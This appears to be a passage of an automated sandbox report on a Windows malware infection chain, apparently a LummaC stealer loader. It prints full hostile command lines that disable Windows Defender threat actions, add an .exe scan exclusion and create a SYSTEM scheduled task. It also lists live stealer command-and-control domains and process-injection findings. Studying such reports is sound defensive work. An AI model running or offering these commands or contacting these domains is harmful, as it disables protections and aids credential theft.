Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018FC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ymECWhxYrkkpjnZlrjPDSzJkDiTLdWCcvWIdBkmFQkjZElBIRukKygZKZdJqigldpvMCicgGyjGEvQVcW
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00553DC0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_00553DC0

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

Code function: 9_2_00402940 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

9_2_00402940

Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe

Code function: 8_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00418320

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432FE0 mov eax, dword ptr fs:[00000030h]	3_2_00432FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432FE0 mov eax, dword ptr fs:[00000030h]	3_2_00432FE0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0041487F mov eax, dword ptr fs:[00000030h]	9_2_0041487F
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0041B509 mov eax, dword ptr fs:[00000030h]	9_2_0041B509
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_10007A76 mov eax, dword ptr fs:[00000030h]	9_2_10007A76
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_10005F25 mov eax, dword ptr fs:[00000030h]	9_2_10005F25
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_004B27AC push dword ptr fs:[00000030h]	9_2_004B27AC
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020D4AE6 mov eax, dword ptr fs:[00000030h]	9_2_020D4AE6
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020C092B mov eax, dword ptr fs:[00000030h]	9_2_020C092B
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020DB770 mov eax, dword ptr fs:[00000030h]	9_2_020DB770
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020C0D90 mov eax, dword ptr fs:[00000030h]	9_2_020C0D90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0050CDF0 lstrlenA,GetProcessHeap,HeapAlloc,lstrcpynA,

3_2_0050CDF0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0053FB45 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0053FB45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00553DC0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00553DC0
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_0041584A SetUnhandledExceptionFilter,	8_2_0041584A
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_0041585C SetUnhandledExceptionFilter,	8_2_0041585C
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0040C986 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_0040C986
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0040D3A5 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_0040D3A5
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_00410D6B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_00410D6B
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0040D539 SetUnhandledExceptionFilter,	9_2_0040D539
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_10002ADF
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_100056A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_100056A0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_10002FDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_10002FDA
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020CCBED SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_020CCBED
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020CD60C IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_020CD60C
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020CD7A0 SetUnhandledExceptionFilter,	9_2_020CD7A0
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020D0FD2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_020D0FD2

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")
Source: file.exe, Program.cs	Reference to suspicious API methods: GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualProtectEx")

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 260000 protect: page execute and read and write			Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_03022129 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_03022129

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 260000 value starts with: 4D5A			Jump to behavior

LummaC encrypted strings found

Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: reinforcenh.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stogeneratmns.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fragnantbui.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: drawzhotdog.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: vozmeatillu.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: offensivedzvju.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ghostreedmnu.shop
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763568801.00000000018DC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: gutterydhowi.shop

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 56C000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 593000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 5D9000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C32008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2435008	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 260000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 261000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2AB000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2AE000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2BD000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp

Code function: 11_2_00478420 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

11_2_00478420

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Ifh3vuF2SF2LvHombSP7ZGRi.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 736
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 744
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 764
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 748
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 984
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7916 -ip 7916
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True

